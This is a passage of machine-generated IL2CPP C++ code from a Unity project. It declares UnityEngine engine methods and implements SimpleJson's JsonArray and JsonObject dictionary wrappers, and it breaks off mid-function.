__this, String_t* ___methodName0, Il2CppObject * ___value1, int32_t ___options2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Component::SendMessage(System.String,System.Object,UnityEngine.SendMessageOptions) extern "C" void Component_SendMessage_m2241432133 (Component_t3819376471 * __this, String_t* ___methodName0, Il2CppObject * ___value1, int32_t ___options2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Component::BroadcastMessage(System.String,System.Object,UnityEngine.SendMessageOptions) extern "C" void Component_BroadcastMessage_m2230184532 (Component_t3819376471 * __this, String_t* ___methodName0, Il2CppObject * ___parameter1, int32_t ___options2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.ContactFilter2D::SetLayerMask(UnityEngine.LayerMask) extern "C" void ContactFilter2D_SetLayerMask_m846404302 (ContactFilter2D_t1672660996 * __this, LayerMask_t3188175821 ___layerMask0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.ContactFilter2D::SetDepth(System.Single,System.Single) extern "C" void ContactFilter2D_SetDepth_m3891076190 (ContactFilter2D_t1672660996 * __this, float ___minDepth0, float ___maxDepth1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Physics2D::get_queriesHitTriggers() extern "C" bool Physics2D_get_queriesHitTriggers_m361275035 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.LayerMask UnityEngine.LayerMask::op_Implicit(System.Int32) extern "C" LayerMask_t3188175821 LayerMask_op_Implicit_m3804506591 (Il2CppObject * __this /* static, unused */, int32_t ___intVal0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.ContextMenu::.ctor(System.String,System.Boolean) extern "C" void ContextMenu__ctor_m1669818156 (ContextMenu_t2283362202 * __this, String_t* ___itemName0, bool ___isValidateFunction1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.ContextMenu::.ctor(System.String,System.Boolean,System.Int32) extern "C" void ContextMenu__ctor_m3931483141 (ContextMenu_t2283362202 * __this, String_t* ___itemName0, bool ___isValidateFunction1, int32_t ___priority2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Rigidbody UnityEngine.Collider::get_attachedRigidbody() extern "C" Rigidbody_t4233889191 * Collider_get_attachedRigidbody_m3279305420 (Collider_t3497673348 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Coroutine::ReleaseCoroutine() extern "C" void Coroutine_ReleaseCoroutine_m833118514 (Coroutine_t2299508840 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean System.IntPtr::op_Inequality(System.IntPtr,System.IntPtr) extern "C" bool IntPtr_op_Inequality_m3044532593 (Il2CppObject * __this /* static, unused */, IntPtr_t p0, IntPtr_t p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.CullingGroup::FinalizerFailure() extern "C" void CullingGroup_FinalizerFailure_m3675513936 (CullingGroup_t1091689465 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void* System.IntPtr::ToPointer() extern "C" void* IntPtr_ToPointer_m1888290092 (IntPtr_t* __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.CullingGroup/StateChanged::Invoke(UnityEngine.CullingGroupEvent) extern "C" void StateChanged_Invoke_m2308261448 (StateChanged_t2480912210 * __this, CullingGroupEvent_t1057617917 ___sphere0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.ILogger UnityEngine.Debug::get_logger() extern "C" Il2CppObject * Debug_get_logger_m4173808038 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.DebugLogHandler::.ctor() extern "C" void DebugLogHandler__ctor_m3134219506 (DebugLogHandler_t865810509 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Logger::.ctor(UnityEngine.ILogHandler) extern "C" void Logger__ctor_m3834134587 (Logger_t3328995178 * __this, Il2CppObject * ___logHandler0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.String::Format(System.String,System.Object[]) extern "C" String_t* String_Format_m1263743648 (Il2CppObject * __this /* static, unused */, String_t* p0, ObjectU5BU5D_t3614634134* p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.DebugLogHandler::Internal_Log(UnityEngine.LogType,System.String,UnityEngine.Object) extern "C" void DebugLogHandler_Internal_Log_m3491540823 (Il2CppObject * __this /* static, unused */, int32_t ___level0, String_t* ___msg1, Object_t1021602117 * ___obj2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.DebugLogHandler::Internal_LogException(System.Exception,UnityEngine.Object) extern "C" void DebugLogHandler_Internal_LogException_m317712981 (Il2CppObject * __this /* static, unused */, Exception_t1927440687 * ___exception0, Object_t1021602117 * ___obj1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.IntPtr::.ctor(System.Int32) extern "C" void IntPtr__ctor_m2996690883 (IntPtr_t* __this, int32_t p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Display::GetRenderingExtImpl(System.IntPtr,System.Int32&,System.Int32&) extern "C" void Display_GetRenderingExtImpl_m3739199112 (Il2CppObject * __this /* static, unused */, IntPtr_t ___nativeDisplay0, int32_t* ___w1, int32_t* ___h2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Display::GetSystemExtImpl(System.IntPtr,System.Int32&,System.Int32&) extern "C" void Display_GetSystemExtImpl_m2990495607 (Il2CppObject * __this /* static, unused */, IntPtr_t ___nativeDisplay0, int32_t* ___w1, int32_t* ___h2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.Display::RelativeMouseAtImpl(System.Int32,System.Int32,System.Int32&,System.Int32&) extern "C" int32_t Display_RelativeMouseAtImpl_m1974885337 (Il2CppObject * __this /* static, unused */, int32_t ___x0, int32_t ___y1, int32_t* ___rx2, int32_t* ___ry3, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Display::.ctor(System.IntPtr) extern "C" void Display__ctor_m563295973 (Display_t3666191348 * __this, IntPtr_t ___nativeDisplay0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Display/DisplaysUpdatedDelegate::Invoke() extern "C" void DisplaysUpdatedDelegate_Invoke_m3646339243 (DisplaysUpdatedDelegate_t3423469815 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Display::.ctor() extern "C" void Display__ctor_m2167115811 (Display_t3666191348 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.DrivenRectTransformTracker::Add(UnityEngine.Object,UnityEngine.RectTransform,UnityEngine.DrivenTransformProperties) extern "C" void DrivenRectTransformTracker_Add_m310530075 (DrivenRectTransformTracker_t154385424 * __this, Object_t1021602117 * ___driver0, RectTransform_t3349966182 * ___rectTransform1, int32_t ___drivenProperties2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.DrivenRectTransformTracker::Clear() extern "C" void DrivenRectTransformTracker_Clear_m864483440 (DrivenRectTransformTracker_t154385424 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Event::Init(System.Int32) extern "C" void Event_Init_m3901382626 (Event_t3028476042 * __this, int32_t ___displayIndex0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Event::Cleanup() extern "C" void Event_Cleanup_m1195902101 (Event_t3028476042 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Event::Internal_GetMousePosition(UnityEngine.Vector2&) extern "C" void Event_Internal_GetMousePosition_m38523489 (Event_t3028476042 * __this, Vector2_t2243707579 * ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.EventModifiers UnityEngine.Event::get_modifiers() extern "C" int32_t Event_get_modifiers_m430092210 (Event_t3028476042 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Event::.ctor(System.Int32) extern "C" void Event__ctor_m3375547476 (Event_t3028476042 * __this, int32_t ___displayIndex0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Event::set_displayIndex(System.Int32) extern "C" void Event_set_displayIndex_m3631666901 (Event_t3028476042 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Event::Internal_SetNativeEvent(System.IntPtr) extern "C" void Event_Internal_SetNativeEvent_m1899228752 (Il2CppObject * __this /* static, unused */, IntPtr_t ___ptr0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.EventType UnityEngine.Event::get_type() extern "C" int32_t Event_get_type_m2426033198 (Event_t3028476042 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Event::set_type(UnityEngine.EventType) extern "C" void Event_set_type_m4059414571 (Event_t3028476042 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 System.String::get_Length() extern "C" int32_t String_get_Length_m1606060069 (String_t* __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Char System.String::get_Chars(System.Int32) extern "C" Il2CppChar String_get_Chars_m4230566705 (String_t* __this, int32_t p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Event::set_modifiers(UnityEngine.EventModifiers) extern "C" void Event_set_modifiers_m2565042639 (Event_t3028476042 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.String::Substring(System.Int32,System.Int32) extern "C" String_t* String_Substring_m12482732 (String_t* __this, int32_t p0, int32_t p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.String::ToLower() extern "C" String_t* String_ToLower_m2994460523 (String_t* __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.Collections.Generic.Dictionary`2::.ctor(System.Int32) #define Dictionary_2__ctor_m2118310873(__this, p0, method) (( void (*) (Dictionary_2_t3986656710 *, int32_t, const MethodInfo*))Dictionary_2__ctor_m3043033341_gshared)(__this, p0, method) // System.Void System.Collections.Generic.Dictionary`2::Add(!0,!1) #define Dictionary_2_Add_m1209957957(__this, p0, p1, method) (( void (*) (Dictionary_2_t3986656710 *, String_t*, int32_t, const MethodInfo*))Dictionary_2_Add_m790520409_gshared)(__this, p0, p1, method) // System.Boolean System.Collections.Generic.Dictionary`2::TryGetValue(!0,!1&) #define Dictionary_2_TryGetValue_m2977303364(__this, p0, p1, method) (( bool (*) (Dictionary_2_t3986656710 *, String_t*, int32_t*, const MethodInfo*))Dictionary_2_TryGetValue_m2330758874_gshared)(__this, p0, p1, method) // System.Void UnityEngine.Event::set_character(System.Char) extern "C" void Event_set_character_m2479063678 (Event_t3028476042 * __this, Il2CppChar ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Event::set_keyCode(UnityEngine.KeyCode) extern "C" void Event_set_keyCode_m1893308983 (Event_t3028476042 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Object System.Enum::Parse(System.Type,System.String,System.Boolean) extern "C" Il2CppObject * Enum_Parse_m982704874 (Il2CppObject * __this /* static, unused */, Type_t * p0, String_t* p1, bool p2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Char UnityEngine.Event::get_character() extern "C" Il2CppChar Event_get_character_m3740896233 (Event_t3028476042 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Event::get_isKey() extern "C" bool Event_get_isKey_m1145918225 (Event_t3028476042 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.KeyCode UnityEngine.Event::get_keyCode() extern "C" int32_t Event_get_keyCode_m3364681288 (Event_t3028476042 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Event::get_isMouse() extern "C" bool Event_get_isMouse_m569219555 (Event_t3028476042 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Vector2 UnityEngine.Event::get_mousePosition() extern "C" Vector2_t2243707579 Event_get_mousePosition_m3789571399 (Event_t3028476042 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.Vector2::GetHashCode() extern "C" int32_t Vector2_GetHashCode_m2353429373 (Vector2_t2243707579 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean System.Object::ReferenceEquals(System.Object,System.Object) extern "C" bool Object_ReferenceEquals_m3900584722 (Il2CppObject * __this /* static, unused */, Il2CppObject * p0, Il2CppObject * p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Vector2::op_Equality(UnityEngine.Vector2,UnityEngine.Vector2) extern "C" bool Vector2_op_Equality_m4168854394 (Il2CppObject * __this /* static, unused */, Vector2_t2243707579 ___lhs0, Vector2_t2243707579 ___rhs1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.String::Concat(System.Object[]) extern "C" String_t* String_Concat_m3881798623 (Il2CppObject * __this /* static, unused */, ObjectU5BU5D_t3614634134* p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String UnityEngine.Event::get_commandName() extern "C" String_t* Event_get_commandName_m4234691381 (Event_t3028476042 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String System.String::Concat(System.Object,System.Object) extern "C" String_t* String_Concat_m56707527 (Il2CppObject * __this /* static, unused */, Il2CppObject * p0, Il2CppObject * p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Debug::LogWarning(System.Object) extern "C" void Debug_LogWarning_m2503577968 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___message0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Event::Internal_Use() extern "C" void Event_Internal_Use_m1591831288 (Event_t3028476042 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 System.String::IndexOf(System.String) extern "C" int32_t String_IndexOf_m4251815737 (String_t* __this, String_t* p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 System.Math::Min(System.Int32,System.Int32) extern "C" int32_t Math_Min_m4290821911 (Il2CppObject * __this /* static, unused */, int32_t p0, int32_t p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Events.ArgumentCache::TidyAssemblyTypeName() extern "C" void ArgumentCache_TidyAssemblyTypeName_m1302102306 (ArgumentCache_t4810721 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Object System.Delegate::get_Target() extern "C" Il2CppObject * Delegate_get_Target_m896795953 (Delegate_t3022476291 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Events.BaseInvokableCall::.ctor(System.Object,System.Reflection.MethodInfo) extern "C" void BaseInvokableCall__ctor_m2877580597 (BaseInvokableCall_t2229564840 * __this, Il2CppObject * ___target0, MethodInfo_t * ___function1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Delegate UnityEngineInternal.NetFxCoreExtensions::CreateDelegate(System.Reflection.MethodInfo,System.Type,System.Object) extern "C" Delegate_t3022476291 * NetFxCoreExtensions_CreateDelegate_m2492743074 (Il2CppObject * __this /* static, unused */, MethodInfo_t * ___self0, Type_t * ___delegateType1, Il2CppObject * ___target2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Events.InvokableCall::add_Delegate(UnityEngine.Events.UnityAction) extern "C" void InvokableCall_add_Delegate_m1598143083 (InvokableCall_t2183506063 * __this, UnityAction_t4025899511 * ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Events.BaseInvokableCall::.ctor() extern "C" void BaseInvokableCall__ctor_m1107507914 (BaseInvokableCall_t2229564840 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Events.BaseInvokableCall::AllowInvoke(System.Delegate) extern "C" bool BaseInvokableCall_AllowInvoke_m88556325 (Il2CppObject * __this /* static, unused */, Delegate_t3022476291 * ___delegate0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Events.UnityAction::Invoke() extern "C" void UnityAction_Invoke_m3703026869 (UnityAction_t4025899511 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Reflection.MethodInfo UnityEngineInternal.NetFxCoreExtensions::GetMethodInfo(System.Delegate) extern "C" MethodInfo_t * NetFxCoreExtensions_GetMethodInfo_m2715372889 (Il2CppObject * __this /* static, unused */, Delegate_t3022476291 * ___self0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void System.Collections.Generic.List`1::.ctor() #define List_1__ctor_m735894212(__this, method) (( void (*) (List_1_t1598685972 *, const MethodInfo*))List_1__ctor_m310736118_gshared)(__this, method) // System.Void System.Collections.Generic.List`1::Add(!0) #define List_1_Add_m3015244976(__this, p0, method) (( void (*) (List_1_t1598685972 *, BaseInvokableCall_t2229564840 *, const MethodInfo*))List_1_Add_m4157722533_gshared)(__this, p0, method) // !0 System.Collections.Generic.List`1::get_Item(System.Int32) #define List_1_get_Item_m1328165365(__this, p0, method) (( BaseInvokableCall_t2229564840 * (*) (List_1_t1598685972 *, int32_t, const MethodInfo*))List_1_get_Item_m2062981835_gshared)(__this, p0, method) // System.Int32 System.Collections.Generic.List`1::get_Count() #define List_1_get_Count_m2851893812(__this, method) (( int32_t (*) (List_1_t1598685972 *, const MethodInfo*))List_1_get_Count_m2375293942_gshared)(__this, method) // System.Void System.Predicate`1::.ctor(System.Object,System.IntPtr) #define Predicate_1__ctor_m2431180149(__this, p0, p1, method) (( void (*) (Predicate_1_t672534955 *, Il2CppObject *, IntPtr_t, const MethodInfo*))Predicate_1__ctor_m2289454599_gshared)(__this, p0, p1, method) // System.Int32 System.Collections.Generic.List`1::RemoveAll(System.Predicate`1) #define List_1_RemoveAll_m3244229183(__this, p0, method) (( int32_t (*) (List_1_t1598685972 *, Predicate_1_t672534955 *, const MethodInfo*))List_1_RemoveAll_m1569860525_gshared)(__this, p0, method) // System.Void System.Collections.Generic.List`1::Clear() #define List_1_Clear_m649507351(__this, method) (( void (*) (List_1_t1598685972 *, const MethodInfo*))List_1_Clear_m4254626809_gshared)(__this, method) // System.Void System.Collections.Generic.List`1::AddRange(System.Collections.Generic.IEnumerable`1) #define List_1_AddRange_m1709189726(__this, p0, method) (( void (*) (List_1_t1598685972 *, Il2CppObject*, const MethodInfo*))List_1_AddRange_m3537433232_gshared)(__this, p0, method) #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Void SimpleJson.JsonArray::.ctor() extern "C" void JsonArray__ctor_m33515755 (JsonArray_t1679500587 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonArray__ctor_m33515755_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(List_1_t2058570427_il2cpp_TypeInfo_var); List_1__ctor_m310736118(__this, /*hidden argument*/List_1__ctor_m310736118_MethodInfo_var); return; } } // System.String SimpleJson.JsonArray::ToString() extern "C" String_t* JsonArray_ToString_m1666534930 (JsonArray_t1679500587 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonArray_ToString_m1666534930_MetadataUsageId); s_Il2CppMethodInitialized = true; } String_t* V_0 = NULL; String_t* G_B2_0 = NULL; String_t* G_B1_0 = NULL; { String_t* L_0 = SimpleJson_SerializeObject_m478839316(NULL /*static, unused*/, __this, /*hidden argument*/NULL); String_t* L_1 = L_0; G_B1_0 = L_1; if (L_1) { G_B2_0 = L_1; goto IL_0013; } } { IL2CPP_RUNTIME_CLASS_INIT(String_t_il2cpp_TypeInfo_var); String_t* L_2 = ((String_t_StaticFields*)String_t_il2cpp_TypeInfo_var->static_fields)->get_Empty_2(); G_B2_0 = L_2; } IL_0013: { V_0 = G_B2_0; goto IL_0019; } IL_0019: { String_t* L_3 = V_0; return L_3; } } // System.Void SimpleJson.JsonObject::.ctor() extern "C" void JsonObject__ctor_m2062444459 (JsonObject_t2300545015 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonObject__ctor_m2062444459_MetadataUsageId); s_Il2CppMethodInitialized = true; } { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); Dictionary_2_t309261261 * L_0 = (Dictionary_2_t309261261 *)il2cpp_codegen_object_new(Dictionary_2_t309261261_il2cpp_TypeInfo_var); Dictionary_2__ctor_m3188644741(L_0, /*hidden argument*/Dictionary_2__ctor_m3188644741_MethodInfo_var); __this->set__members_0(L_0); return; } } // System.Void SimpleJson.JsonObject::Add(System.String,System.Object) extern "C" void JsonObject_Add_m3402027904 (JsonObject_t2300545015 * __this, String_t* ___key0, Il2CppObject * ___value1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonObject_Add_m3402027904_MetadataUsageId); s_Il2CppMethodInitialized = true; } { Dictionary_2_t309261261 * L_0 = __this->get__members_0(); String_t* L_1 = ___key0; Il2CppObject * L_2 = ___value1; NullCheck(L_0); Dictionary_2_Add_m1128763565(L_0, L_1, L_2, /*hidden argument*/Dictionary_2_Add_m1128763565_MethodInfo_var); return; } } // System.Collections.Generic.ICollection`1 SimpleJson.JsonObject::get_Keys() extern "C" Il2CppObject* JsonObject_get_Keys_m98057106 (JsonObject_t2300545015 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonObject_get_Keys_m98057106_MetadataUsageId); s_Il2CppMethodInitialized = true; } Il2CppObject* V_0 = NULL; { Dictionary_2_t309261261 * L_0 = __this->get__members_0(); NullCheck(L_0); KeyCollection_t2792759032 * L_1 = Dictionary_2_get_Keys_m660840187(L_0, /*hidden argument*/Dictionary_2_get_Keys_m660840187_MethodInfo_var); V_0 = (Il2CppObject*)L_1; goto IL_0012; } IL_0012: { Il2CppObject* L_2 = V_0; return L_2; } } // System.Boolean SimpleJson.JsonObject::TryGetValue(System.String,System.Object&) extern "C" bool JsonObject_TryGetValue_m3813758419 (JsonObject_t2300545015 * __this, String_t* ___key0, Il2CppObject ** ___value1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonObject_TryGetValue_m3813758419_MetadataUsageId); s_Il2CppMethodInitialized = true; } bool V_0 = false; { Dictionary_2_t309261261 * L_0 = __this->get__members_0(); String_t* L_1 = ___key0; Il2CppObject ** L_2 = ___value1; NullCheck(L_0); bool L_3 = Dictionary_2_TryGetValue_m307458800(L_0, L_1, L_2, /*hidden argument*/Dictionary_2_TryGetValue_m307458800_MethodInfo_var); V_0 = L_3; goto IL_0014; } IL_0014: { bool L_4 = V_0; return L_4; } } // System.Collections.Generic.ICollection`1 SimpleJson.JsonObject::get_Values() extern "C" Il2CppObject* JsonObject_get_Values_m3342885038 (JsonObject_t2300545015 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonObject_get_Values_m3342885038_MetadataUsageId); s_Il2CppMethodInitialized = true; } Il2CppObject* V_0 = NULL; { Dictionary_2_t309261261 * L_0 = __this->get__members_0(); NullCheck(L_0); ValueCollection_t3307288400 * L_1 = Dictionary_2_get_Values_m139345435(L_0, /*hidden argument*/Dictionary_2_get_Values_m139345435_MethodInfo_var); V_0 = (Il2CppObject*)L_1; goto IL_0012; } IL_0012: { Il2CppObject* L_2 = V_0; return L_2; } } // System.Object SimpleJson.JsonObject::get_Item(System.String) extern "C" Il2CppObject * JsonObject_get_Item_m1018841170 (JsonObject_t2300545015 * __this, String_t* ___key0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonObject_get_Item_m1018841170_MetadataUsageId); s_Il2CppMethodInitialized = true; } Il2CppObject * V_0 = NULL; { Dictionary_2_t309261261 * L_0 = __this->get__members_0(); String_t* L_1 = ___key0; NullCheck(L_0); Il2CppObject * L_2 = Dictionary_2_get_Item_m464793699(L_0, L_1, /*hidden argument*/Dictionary_2_get_Item_m464793699_MethodInfo_var); V_0 = L_2; goto IL_0013; } IL_0013: { Il2CppObject * L_3 = V_0; return L_3; } } // System.Void SimpleJson.JsonObject::set_Item(System.String,System.Object) extern "C" void JsonObject_set_Item_m475151339 (JsonObject_t2300545015 * __this, String_t* ___key0, Il2CppObject * ___value1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonObject_set_Item_m475151339_MetadataUsageId); s_Il2CppMethodInitialized = true; } { Dictionary_2_t309261261 * L_0 = __this->get__members_0(); String_t* L_1 = ___key0; Il2CppObject * L_2 = ___value1; NullCheck(L_0); Dictionary_2_set_Item_m4132139590(L_0, L_1, L_2, /*hidden argument*/Dictionary_2_set_Item_m4132139590_MethodInfo_var); return; } } // System.Void SimpleJson.JsonObject::Add(System.Collections.Generic.KeyValuePair`2) extern "C" void JsonObject_Add_m534223875 (JsonObject_t2300545015 * __this, KeyValuePair_2_t2361573779 ___item0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonObject_Add_m534223875_MetadataUsageId); s_Il2CppMethodInitialized = true; } { Dictionary_2_t309261261 * L_0 = __this->get__members_0(); String_t* L_1 = KeyValuePair_2_get_Key_m1313755691((&___item0), /*hidden argument*/KeyValuePair_2_get_Key_m1313755691_MethodInfo_var); Il2CppObject * L_2 = KeyValuePair_2_get_Value_m3217213384((&___item0), /*hidden argument*/KeyValuePair_2_get_Value_m3217213384_MethodInfo_var); NullCheck(L_0); Dictionary_2_Add_m1128763565(L_0, L_1, L_2, /*hidden argument*/Dictionary_2_Add_m1128763565_MethodInfo_var); return; } } // System.Void SimpleJson.JsonObject::Clear() extern "C" void JsonObject_Clear_m2413527334 (JsonObject_t2300545015 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonObject_Clear_m2413527334_MetadataUsageId); s_Il2CppMethodInitialized = true; } { Dictionary_2_t309261261 * L_0 = __this->get__members_0(); NullCheck(L_0); Dictionary_2_Clear_m3103846974(L_0, /*hidden argument*/Dictionary_2_Clear_m3103846974_MethodInfo_var); return; } } // System.Boolean SimpleJson.JsonObject::Contains(System.Collections.Generic.KeyValuePair`2) extern "C" bool JsonObject_Contains_m3389598869 (JsonObject_t2300545015 * __this, KeyValuePair_2_t2361573779 ___item0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonObject_Contains_m3389598869_MetadataUsageId); s_Il2CppMethodInitialized = true; } bool V_0 = false; int32_t G_B3_0 = 0; { Dictionary_2_t309261261 * L_0 = __this->get__members_0(); String_t* L_1 = KeyValuePair_2_get_Key_m1313755691((&___item0), /*hidden argument*/KeyValuePair_2_get_Key_m1313755691_MethodInfo_var); NullCheck(L_0); bool L_2 = Dictionary_2_ContainsKey_m1533770720(L_0, L_1, /*hidden argument*/Dictionary_2_ContainsKey_m1533770720_MethodInfo_var); if (!L_2) { goto IL_0035; } } { Dictionary_2_t309261261 * L_3 = __this->get__members_0(); String_t* L_4 = KeyValuePair_2_get_Key_m1313755691((&___item0), /*hidden argument*/KeyValuePair_2_get_Key_m1313755691_MethodInfo_var); NullCheck(L_3); Il2CppObject * L_5 = Dictionary_2_get_Item_m464793699(L_3, L_4, /*hidden argument*/Dictionary_2_get_Item_m464793699_MethodInfo_var); Il2CppObject * L_6 = KeyValuePair_2_get_Value_m3217213384((&___item0), /*hidden argument*/KeyValuePair_2_get_Value_m3217213384_MethodInfo_var); G_B3_0 = ((((Il2CppObject*)(Il2CppObject *)L_5) == ((Il2CppObject*)(Il2CppObject *)L_6))? 1 : 0); goto IL_0036; } IL_0035: { G_B3_0 = 0; } IL_0036: { V_0 = (bool)G_B3_0; goto IL_003c; } IL_003c: { bool L_7 = V_0; return L_7; } } // System.Void SimpleJson.JsonObject::CopyTo(System.Collections.Generic.KeyValuePair`2[],System.Int32) extern "C" void JsonObject_CopyTo_m4217013231 (JsonObject_t2300545015 * __this, KeyValuePair_2U5BU5D_t3332939458* ___array0, int32_t ___arrayIndex1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonObject_CopyTo_m4217013231_MetadataUsageId); s_Il2CppMethodInitialized = true; } int32_t V_0 = 0; KeyValuePair_2_t2361573779 V_1; memset(&V_1, 0, sizeof(V_1)); Il2CppObject* V_2 = NULL; Exception_t1927440687 * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t1927440687 * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); int32_t __leave_target = 0; NO_UNUSED_WARNING (__leave_target); { KeyValuePair_2U5BU5D_t3332939458* L_0 = ___array0; if (L_0) { goto IL_0012; } } { 